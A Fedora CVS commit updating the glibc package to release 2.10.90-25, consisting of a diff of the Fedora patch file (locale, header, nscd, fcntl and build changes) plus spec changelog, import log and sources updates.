+--- glibc-2.10-355-g1abedcd/localedata/locales/cy_GB
++++ glibc-2.10.90-24/localedata/locales/cy_GB
 @@ -248,8 +248,11 @@ mon         "<U0049><U006F><U006E><U0061><U0077><U0072>";/
  d_t_fmt     "<U0044><U0079><U0064><U0064><U0020><U0025><U0041><U0020><U0025><U0064><U0020><U006d><U0069><U0073><U0020><U0025><U0042><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
  d_fmt       "<U0025><U0064><U002E><U0025><U006D><U002E><U0025><U0079>"
@@ -747,8 +633,8 @@
  END LC_TIME
  
  LC_MESSAGES
---- glibc-2.10-343-gf450806/localedata/locales/en_GB
-+++ glibc-2.10.90-23/localedata/locales/en_GB
+--- glibc-2.10-355-g1abedcd/localedata/locales/en_GB
++++ glibc-2.10.90-24/localedata/locales/en_GB
 @@ -116,8 +116,8 @@ mon         "<U004A><U0061><U006E><U0075><U0061><U0072><U0079>";/
  d_t_fmt     "<U0025><U0061><U0020><U0025><U0064><U0020><U0025><U0062><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
  d_fmt       "<U0025><U0064><U002F><U0025><U006D><U002F><U0025><U0079>"
@@ -760,8 +646,8 @@
  date_fmt	"<U0025><U0061><U0020><U0025><U0062><U0020><U0025><U0065>/
  <U0020><U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053><U0020>/
  <U0025><U005A><U0020><U0025><U0059>"
---- glibc-2.10-343-gf450806/localedata/locales/no_NO
-+++ glibc-2.10.90-23/localedata/locales/no_NO
+--- glibc-2.10-355-g1abedcd/localedata/locales/no_NO
++++ glibc-2.10.90-24/localedata/locales/no_NO
 @@ -0,0 +1,69 @@
 +escape_char	/
 +comment_char    %
@@ -832,8 +718,8 @@
 +LC_ADDRESS
 +copy "nb_NO"
 +END LC_ADDRESS
---- glibc-2.10-343-gf450806/localedata/locales/zh_TW
-+++ glibc-2.10.90-23/localedata/locales/zh_TW
+--- glibc-2.10-355-g1abedcd/localedata/locales/zh_TW
++++ glibc-2.10.90-24/localedata/locales/zh_TW
 @@ -1,7 +1,7 @@
  comment_char %
  escape_char /
@@ -861,8 +747,8 @@
  revision   "0.2"
  date       "2000-08-02"
  %
---- glibc-2.10-343-gf450806/malloc/mcheck.c
-+++ glibc-2.10.90-23/malloc/mcheck.c
+--- glibc-2.10-355-g1abedcd/malloc/mcheck.c
++++ glibc-2.10.90-24/malloc/mcheck.c
 @@ -24,9 +24,25 @@
  # include <mcheck.h>
  # include <stdint.h>
@@ -938,8 +824,8 @@
  
        old_free_hook = __free_hook;
        __free_hook = freehook;
---- glibc-2.10-343-gf450806/manual/libc.texinfo
-+++ glibc-2.10.90-23/manual/libc.texinfo
+--- glibc-2.10-355-g1abedcd/manual/libc.texinfo
++++ glibc-2.10.90-24/manual/libc.texinfo
 @@ -5,7 +5,7 @@
  @c setchapternewpage odd
  
@@ -949,8 +835,8 @@
  @direntry
  * Libc: (libc).                 C library.
  @end direntry
---- glibc-2.10-343-gf450806/misc/sys/cdefs.h
-+++ glibc-2.10.90-23/misc/sys/cdefs.h
+--- glibc-2.10-355-g1abedcd/misc/sys/cdefs.h
++++ glibc-2.10.90-24/misc/sys/cdefs.h
 @@ -132,7 +132,10 @@
  #define __bos(ptr) __builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1)
  #define __bos0(ptr) __builtin_object_size (ptr, 0)
@@ -994,16 +880,16 @@
  # define __va_arg_pack() __builtin_va_arg_pack ()
  # define __va_arg_pack_len() __builtin_va_arg_pack_len ()
  #endif
---- glibc-2.10-343-gf450806/nis/nss
-+++ glibc-2.10.90-23/nis/nss
+--- glibc-2.10-355-g1abedcd/nis/nss
++++ glibc-2.10.90-24/nis/nss
 @@ -25,4 +25,4 @@
  #  memory with every getXXent() call.  Otherwise each getXXent() call
  #  might result into a network communication with the server to get
  #  the next entry.
 -#SETENT_BATCH_READ=TRUE
 +SETENT_BATCH_READ=TRUE
---- glibc-2.10-343-gf450806/nptl/ChangeLog
-+++ glibc-2.10.90-23/nptl/ChangeLog
+--- glibc-2.10-355-g1abedcd/nptl/ChangeLog
++++ glibc-2.10.90-24/nptl/ChangeLog
 @@ -3717,6 +3717,15 @@
  	Use __sigfillset.  Document that sigfillset does the right thing wrt
  	to SIGSETXID.
@@ -1044,8 +930,8 @@
  2003-07-25  Jakub Jelinek  <jakub at redhat.com>
  
  	* tst-cancel17.c (do_test): Check if aio_cancel failed.
---- glibc-2.10-343-gf450806/nptl/Makefile
-+++ glibc-2.10.90-23/nptl/Makefile
+--- glibc-2.10-355-g1abedcd/nptl/Makefile
++++ glibc-2.10.90-24/nptl/Makefile
 @@ -339,7 +339,8 @@ endif
  extra-objs += $(crti-objs) $(crtn-objs)
  omit-deps += crti crtn
@@ -1078,8 +964,8 @@
  else
  $(addprefix $(objpfx),$(tests) $(test-srcs)): $(objpfx)libpthread.a
  endif
---- glibc-2.10-343-gf450806/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
-+++ glibc-2.10.90-23/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
+--- glibc-2.10-355-g1abedcd/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
++++ glibc-2.10.90-24/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
 @@ -189,4 +189,7 @@
  /* Typed memory objects are not available.  */
  #define _POSIX_TYPED_MEMORY_OBJECTS	-1
@@ -1088,8 +974,8 @@
 +#define _XOPEN_STREAMS	-1
 +
  #endif /* bits/posix_opt.h */
---- glibc-2.10-343-gf450806/nptl/sysdeps/unix/sysv/linux/kernel-features.h
-+++ glibc-2.10.90-23/nptl/sysdeps/unix/sysv/linux/kernel-features.h
+--- glibc-2.10-355-g1abedcd/nptl/sysdeps/unix/sysv/linux/kernel-features.h
++++ glibc-2.10.90-24/nptl/sysdeps/unix/sysv/linux/kernel-features.h
 @@ -0,0 +1,6 @@
 +#include_next <kernel-features.h>
 +
@@ -1097,8 +983,8 @@
 +#ifndef __ASSUME_CLONE_THREAD_FLAGS
 +# define __ASSUME_CLONE_THREAD_FLAGS	1
 +#endif
---- glibc-2.10-343-gf450806/nptl/tst-stackguard1.c
-+++ glibc-2.10.90-23/nptl/tst-stackguard1.c
+--- glibc-2.10-355-g1abedcd/nptl/tst-stackguard1.c
++++ glibc-2.10.90-24/nptl/tst-stackguard1.c
 @@ -190,17 +190,21 @@ do_test (void)
       the 16 runs, something is very wrong.  */
    int ndifferences = 0;
@@ -1123,8 +1009,8 @@
      {
        puts ("stack guard canaries are not randomized enough");
        puts ("nor equal to the default canary value");
---- glibc-2.10-343-gf450806/nscd/nscd.conf
-+++ glibc-2.10.90-23/nscd/nscd.conf
+--- glibc-2.10-355-g1abedcd/nscd/nscd.conf
++++ glibc-2.10.90-24/nscd/nscd.conf
 @@ -33,7 +33,7 @@
  #	logfile			/var/log/nscd.log
  #	threads			4
@@ -1134,8 +1020,8 @@
  #	stat-user		somebody
  	debug-level		0
  #	reload-count		5
---- glibc-2.10-343-gf450806/nscd/nscd.init
-+++ glibc-2.10.90-23/nscd/nscd.init
+--- glibc-2.10-355-g1abedcd/nscd/nscd.init
++++ glibc-2.10.90-24/nscd/nscd.init
 @@ -9,6 +9,7 @@
  #		slow naming services like NIS, NIS+, LDAP, or hesiod.
  # processname: /usr/sbin/nscd
@@ -1207,8 +1093,8 @@
  	;;
      *)
  	echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
---- glibc-2.10-343-gf450806/posix/Makefile
-+++ glibc-2.10.90-23/posix/Makefile
+--- glibc-2.10-355-g1abedcd/posix/Makefile
++++ glibc-2.10.90-24/posix/Makefile
 @@ -302,15 +302,8 @@ $(inst_libexecdir)/getconf: $(inst_bindir)/getconf \
  	  mv -f $@/$$spec.new $@/$$spec; \
  	done < $(objpfx)getconf.speclist
@@ -1229,8 +1115,8 @@
 +	  | sed -n -e '/START_OF_STRINGS/,$${/\(POSIX_V[67]\|_XBS5\)_/{s/^[^"]*"//;s/".*$$//;p}}' \
 +	  > $@.new
  	mv -f $@.new $@
---- glibc-2.10-343-gf450806/posix/getconf.speclist.h
-+++ glibc-2.10.90-23/posix/getconf.speclist.h
+--- glibc-2.10-355-g1abedcd/posix/getconf.speclist.h
++++ glibc-2.10.90-24/posix/getconf.speclist.h
 @@ -0,0 +1,39 @@
 +#include <unistd.h>
 +const char *START_OF_STRINGS =
@@ -1271,8 +1157,8 @@
 +"XBS5_LPBIG_OFFBIG"
 +#endif
 +"";
---- glibc-2.10-343-gf450806/streams/Makefile
-+++ glibc-2.10.90-23/streams/Makefile
+--- glibc-2.10-355-g1abedcd/streams/Makefile
++++ glibc-2.10.90-24/streams/Makefile
 @@ -21,7 +21,7 @@
  #
  subdir	:= streams
@@ -1282,8 +1168,8 @@
  routines	= isastream getmsg getpmsg putmsg putpmsg fattach fdetach
  
  include ../Rules
---- glibc-2.10-343-gf450806/sysdeps/generic/dl-cache.h
-+++ glibc-2.10.90-23/sysdeps/generic/dl-cache.h
+--- glibc-2.10-355-g1abedcd/sysdeps/generic/dl-cache.h
++++ glibc-2.10.90-24/sysdeps/generic/dl-cache.h
 @@ -36,6 +36,14 @@
  # define add_system_dir(dir) add_dir (dir)
  #endif
@@ -1299,8 +1185,8 @@
  #define CACHEMAGIC "ld.so-1.7.0"
  
  /* libc5 and glibc 2.0/2.1 use the same format.  For glibc 2.2 another
---- glibc-2.10-343-gf450806/sysdeps/i386/Makefile
-+++ glibc-2.10.90-23/sysdeps/i386/Makefile
+--- glibc-2.10-355-g1abedcd/sysdeps/i386/Makefile
++++ glibc-2.10.90-24/sysdeps/i386/Makefile
 @@ -2,6 +2,8 @@
  # Every i386 port in use uses gas syntax (I think).
  asm-CPPFLAGS += -DGAS_SYNTAX
@@ -1325,8 +1211,8 @@
  endif
  
  ifeq ($(subdir),elf)
---- glibc-2.10-343-gf450806/sysdeps/ia64/Makefile
-+++ glibc-2.10.90-23/sysdeps/ia64/Makefile
+--- glibc-2.10-355-g1abedcd/sysdeps/ia64/Makefile
++++ glibc-2.10.90-24/sysdeps/ia64/Makefile
 @@ -12,8 +12,8 @@ elide-routines.os += hp-timing
  
  ifeq (yes,$(build-shared))
@@ -1338,8 +1224,8 @@
  endif
  endif
  
---- glibc-2.10-343-gf450806/sysdeps/ia64/ia64libgcc.S
-+++ glibc-2.10.90-23/sysdeps/ia64/ia64libgcc.S
+--- glibc-2.10-355-g1abedcd/sysdeps/ia64/ia64libgcc.S
++++ glibc-2.10.90-24/sysdeps/ia64/ia64libgcc.S
 @@ -1,350 +0,0 @@
 -/* From the Intel IA-64 Optimization Guide, choose the minimum latency
 -   alternative.  */
@@ -1691,8 +1577,8 @@
 -	.symver	___multi3, __multi3 at GLIBC_2.2
 -
 -#endif
---- glibc-2.10-343-gf450806/sysdeps/ia64/libgcc-compat.c
-+++ glibc-2.10.90-23/sysdeps/ia64/libgcc-compat.c
+--- glibc-2.10-355-g1abedcd/sysdeps/ia64/libgcc-compat.c
++++ glibc-2.10.90-24/sysdeps/ia64/libgcc-compat.c
 @@ -0,0 +1,84 @@
 +/* pre-.hidden libgcc compatibility
 +   Copyright (C) 2002 Free Software Foundation, Inc.
@@ -1778,8 +1664,8 @@
 +symbol_version (INTUSE (__multi3), __multi3, GLIBC_2.2);
 +
 +#endif
---- glibc-2.10-343-gf450806/sysdeps/powerpc/powerpc64/Makefile
-+++ glibc-2.10.90-23/sysdeps/powerpc/powerpc64/Makefile
+--- glibc-2.10-355-g1abedcd/sysdeps/powerpc/powerpc64/Makefile
++++ glibc-2.10.90-24/sysdeps/powerpc/powerpc64/Makefile
 @@ -30,6 +30,7 @@ ifneq ($(elf),no)
  # we use -fpic instead which is much better.
  CFLAGS-initfini.s += -fpic -O1
@@ -1788,8 +1674,8 @@
  endif
  
  ifeq ($(subdir),elf)
---- glibc-2.10-343-gf450806/sysdeps/unix/nice.c
-+++ glibc-2.10.90-23/sysdeps/unix/nice.c
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/nice.c
++++ glibc-2.10.90-24/sysdeps/unix/nice.c
 @@ -42,7 +42,12 @@ nice (int incr)
  	__set_errno (save);
      }
@@ -1804,8 +1690,8 @@
    if (result == -1)
      {
        if (errno == EACCES)
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/check_pf.c
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/check_pf.c
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/check_pf.c
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/check_pf.c
 @@ -27,13 +27,10 @@
  #include <unistd.h>
  #include <sys/socket.h>
@@ -1821,8 +1707,8 @@
  
  #ifndef IFA_F_HOMEADDRESS
  # define IFA_F_HOMEADDRESS 0
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/dl-osinfo.h
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/dl-osinfo.h
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/dl-osinfo.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/dl-osinfo.h
 @@ -17,10 +17,13 @@
     Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     02111-1307 USA.  */
@@ -1870,8 +1756,8 @@
      }
    else
  #endif
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/futimesat.c
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/futimesat.c
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/futimesat.c
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/futimesat.c
 @@ -37,14 +37,14 @@ futimesat (fd, file, tvp)
  {
    int result;
@@ -1914,8 +1800,28 @@
      {
        size_t filelen = strlen (file);
        static const char procfd[] = "/proc/self/fd/%d/%s";
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/i386/clone.S
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/i386/clone.S
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
+@@ -85,15 +85,13 @@
+ #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
+ 
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_SETOWN	8	/* Get owner (process receiving SIGIO).  */
+-# define F_GETOWN	9	/* Set owner (process receiving SIGIO).  */
++# define F_SETOWN	8	/* Get owner of socket (receiver of SIGIO).  */
++# define F_GETOWN	9	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_SETOWN_EX	12	/* Get owner (thread receiving SIGIO).  */
+-# define F_GETOWN_EX	13	/* Set owner (thread receiving SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/i386/clone.S
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/i386/clone.S
 @@ -120,9 +120,6 @@ L(pseudo_end):
  	ret
  
@@ -1934,8 +1840,8 @@
  
  	cfi_startproc
  PSEUDO_END (BP_SYM (__clone))
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/i386/dl-cache.h
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/i386/dl-cache.h
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/i386/dl-cache.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/i386/dl-cache.h
 @@ -0,0 +1,59 @@
 +/* Support for reading /etc/ld.so.cache files written by Linux ldconfig.
 +   Copyright (C) 2004 Free Software Foundation, Inc.
@@ -1996,8 +1902,28 @@
 +  } while (0)
 +
 +#include_next <dl-cache.h>
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/ia64/dl-cache.h
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/ia64/dl-cache.h
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
+@@ -81,15 +81,13 @@
+ #define F_SETLKW64	7	/* Set record locking info (blocking).	*/
+ 
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_SETOWN	8	/* Get owner (process receiving SIGIO).  */
+-# define F_GETOWN	9	/* Set owner (process receiving SIGIO).  */
++# define F_SETOWN	8	/* Get owner of socket (receiver of SIGIO).  */
++# define F_GETOWN	9	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_SETOWN_EX	12	/* Get owner (thread receiving SIGIO).  */
+-# define F_GETOWN_EX	13	/* Set owner (thread receiving SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/dl-cache.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/dl-cache.h
 @@ -22,4 +22,31 @@
  #define _dl_cache_check_flags(flags) \
    ((flags) == _DL_CACHE_DEFAULT_ID)
@@ -2030,29 +1956,29 @@
 +  } while (0)
 +
  #include_next <dl-cache.h>
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
 @@ -0,0 +1,5 @@
 +#ifdef IS_IN_ldconfig
 +#include <sysdeps/i386/dl-procinfo.c>
 +#else
 +#include <sysdeps/generic/dl-procinfo.c>
 +#endif
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
 @@ -0,0 +1,5 @@
 +#ifdef IS_IN_ldconfig
 +#include <sysdeps/unix/sysv/linux/i386/dl-procinfo.h>
 +#else
 +#include <sysdeps/generic/dl-procinfo.h>
 +#endif
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
 @@ -1 +1 @@
 -s_^\(RTLDLIST=\)\([^ 	]*\)-ia64\(\.so\.[0-9.]*\)[ 	]*$_\1"\2-ia64\3 \2\3"_
 +s_^\(RTLDLIST=\)\([^ 	]*\)-ia64\(\.so\.[0-9.]*\)[ 	]*$_\1"\2-ia64\3 /emul/ia32-linux\2\3"_
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/netlinkaccess.h
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/netlinkaccess.h
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/netlinkaccess.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/netlinkaccess.h
 @@ -25,6 +25,24 @@
  
  #include <kernel-features.h>
@@ -2078,8 +2004,8 @@
  
  struct netlink_res
  {
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/paths.h
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/paths.h
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/paths.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/paths.h
 @@ -62,7 +62,7 @@
  #define	_PATH_TTY	"/dev/tty"
  #define	_PATH_UNIX	"/boot/vmlinux"
@@ -2089,8 +2015,90 @@
  #define _PATH_WTMP	"/var/log/wtmp"
  
  /* Provide trailing slash, since mostly used for building pathnames. */
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/tcsetattr.c
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/tcsetattr.c
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
+@@ -85,15 +85,13 @@
+ #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
+ 
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_SETOWN	8	/* Get owner (process receiving of SIGIO).  */
+-# define F_GETOWN	9	/* Set owner (process receiving of SIGIO).  */
++# define F_SETOWN	8	/* Get owner of socket (receiver of SIGIO).  */
++# define F_GETOWN	9	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_SETOWN_EX	12	/* Get owner (thread receiving SIGIO).  */
+-# define F_GETOWN_EX	13	/* Set owner (thread receiving SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
+@@ -100,15 +100,13 @@
+ #endif
+ 
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_SETOWN	8	/* Get owner (process receiving SIGIO).  */
+-# define F_GETOWN	9	/* Set owner (process receiving SIGIO).  */
++# define F_SETOWN	8	/* Get owner of socket (receiver of SIGIO).  */
++# define F_GETOWN	9	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_SETOWN_EX	12	/* Get owner (thread receiving SIGIO).  */
+-# define F_GETOWN_EX	13	/* Set owner (thread receiving SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
+@@ -85,15 +85,13 @@
+ #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
+ 
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_SETOWN	8	/* Get owner (process receiving of SIGIO).  */
+-# define F_GETOWN	9	/* Set owner (process receiving of SIGIO).  */
++# define F_SETOWN	8	/* Get owner of socket (receiver of SIGIO).  */
++# define F_GETOWN	9	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_SETOWN_EX	12	/* Get owner (thread receiving of SIGIO).  */
+-# define F_GETOWN_EX	13	/* Set owner (thread receiving of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
+@@ -83,8 +83,8 @@
+ #define F_GETFL		3	/* Get file status flags.  */
+ #define F_SETFL		4	/* Set file status flags.  */
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_GETOWN	5	/* Get owner (process receiving SIGIO).  */
+-# define F_SETOWN	6	/* Set owner (process receiving SIGIO).  */
++# define F_GETOWN	5	/* Get owner of socket (receiver of SIGIO).  */
++# define F_SETOWN	6	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ #ifndef __USE_FILE_OFFSET64
+ # define F_GETLK	7	/* Get record locking info.  */
+@@ -99,8 +99,6 @@
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_GETOWN_EX	12	/* Get owner (thread receiving SIGIO).  */
+-# define F_SETOWN_EX	13	/* Set owner (thread receiving SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/tcsetattr.c
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/tcsetattr.c
 @@ -49,6 +49,7 @@ tcsetattr (fd, optional_actions, termios_p)
  {
    struct __kernel_termios k_termios;
@@ -2136,8 +2144,28 @@
 +  return retval;
  }
  libc_hidden_def (tcsetattr)
---- glibc-2.10-343-gf450806/sysdeps/unix/sysv/linux/x86_64/clone.S
-+++ glibc-2.10.90-23/sysdeps/unix/sysv/linux/x86_64/clone.S
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
+@@ -99,15 +99,13 @@
+ #endif
+ 
+ #if defined __USE_BSD || defined __USE_UNIX98
+-# define F_SETOWN	8	/* Get owner (process receiving of SIGIO).  */
+-# define F_GETOWN	9	/* Set owner (process receiving of SIGIO).  */
++# define F_SETOWN	8	/* Get owner of socket (receiver of SIGIO).  */
++# define F_GETOWN	9	/* Set owner of socket (receiver of SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+ # define F_SETSIG	10	/* Set number of signal to be sent.  */
+ # define F_GETSIG	11	/* Get number of signal to be sent.  */
+-# define F_SETOWN_EX	12	/* Get owner (thread receiving SIGIO).  */
+-# define F_GETOWN_EX	13	/* Set owner (thread receiving SIGIO).  */
+ #endif
+ 
+ #ifdef __USE_GNU
+--- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/x86_64/clone.S
++++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/x86_64/clone.S
 @@ -89,9 +89,6 @@ L(pseudo_end):
  	ret
  
@@ -2156,8 +2184,8 @@
  
  	cfi_startproc;
  PSEUDO_END (BP_SYM (__clone))
---- glibc-2.10-343-gf450806/timezone/zic.c
-+++ glibc-2.10.90-23/timezone/zic.c
+--- glibc-2.10-355-g1abedcd/timezone/zic.c
++++ glibc-2.10.90-24/timezone/zic.c
 @@ -1921,7 +1921,7 @@ const int			zonecount;
  		if (stdrp != NULL && stdrp->r_hiyear == 2037)
  			return;


Index: glibc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/glibc.spec,v
retrieving revision 1.418
retrieving revision 1.419
diff -u -p -r1.418 -r1.419
--- glibc.spec	28 Sep 2009 12:31:33 -0000	1.418
+++ glibc.spec	12 Oct 2009 13:49:38 -0000	1.419
@@ -1,4 +1,4 @@
-%define glibcsrcdir glibc-2.10-343-gf450806
+%define glibcsrcdir glibc-2.10-355-g1abedcd
 %define glibcversion 2.10.90
 ### glibc.spec.in follows:
 %define run_glibc_tests 1
@@ -24,7 +24,7 @@
 Summary: The GNU libc libraries
 Name: glibc
 Version: %{glibcversion}
-Release: 24
+Release: 25
 # GPLv2+ is used in a bunch of programs, LGPLv2+ is used for libraries.
 # Things that are linked directly into dynamically linked programs
 # and shared libraries (e.g. crt files, lib*_nonshared.a) have an additional
@@ -68,6 +68,7 @@ BuildRequires: gcc >= 3.2
 %ifarch %{multiarcharches}
 # Need STT_IFUNC support
 BuildRequires: binutils >= 2.19.51.0.10
+Conflicts: binutils < 2.19.51.0.10
 # Earlier releases have broken support for IRELATIVE relocations
 Conflicts: prelink < 0.4.2
 %else
@@ -1029,6 +1030,13 @@ rm -f *.filelist*
 %endif
 
 %changelog
+* Mon Oct 12 2009 Andreas Schwab <schwab at redhat.com> - 2.10.90-25
+- Update from master
+  - Fix descriptor leak when calling dlopen with RTLD_NOLOAD (#527409).
+  - Fix week-1stday in C locale.
+  - Check for integer overflows in formatting functions.
+  - Fix locale program error handling (#525363).
+
 * Mon Sep 28 2009 Andreas Schwab <schwab at redhat.com> - 2.10.90-24
 - Update from master.
   - Fix missing reloc dependency (#517001).


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/import.log,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- import.log	28 Sep 2009 12:31:33 -0000	1.34
+++ import.log	12 Oct 2009 13:49:38 -0000	1.35
@@ -32,3 +32,4 @@ glibc-2_10_90-21:HEAD:glibc-2.10.90-21.s
 glibc-2_10_90-22:HEAD:glibc-2.10.90-22.src.rpm:1252930886
 glibc-2_10_90-23:HEAD:glibc-2.10.90-23.src.rpm:1253528881
 glibc-2_10_90-24:HEAD:glibc-2.10.90-24.src.rpm:1254140947
+glibc-2_10_90-25:F-12:glibc-2.10.90-25.src.rpm:1255355210


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/sources,v
retrieving revision 1.316
retrieving revision 1.317
diff -u -p -r1.316 -r1.317
--- sources	28 Sep 2009 12:31:33 -0000	1.316
+++ sources	12 Oct 2009 13:49:38 -0000	1.317
@@ -1,2 +1,2 @@
-be1259fdd4fa0ec48668085c15bcd6d0  glibc-2.10-343-gf450806-fedora.tar.bz2
-65cd71dd2818a4de21a3eba59a20c180  glibc-2.10-343-gf450806.tar.bz2
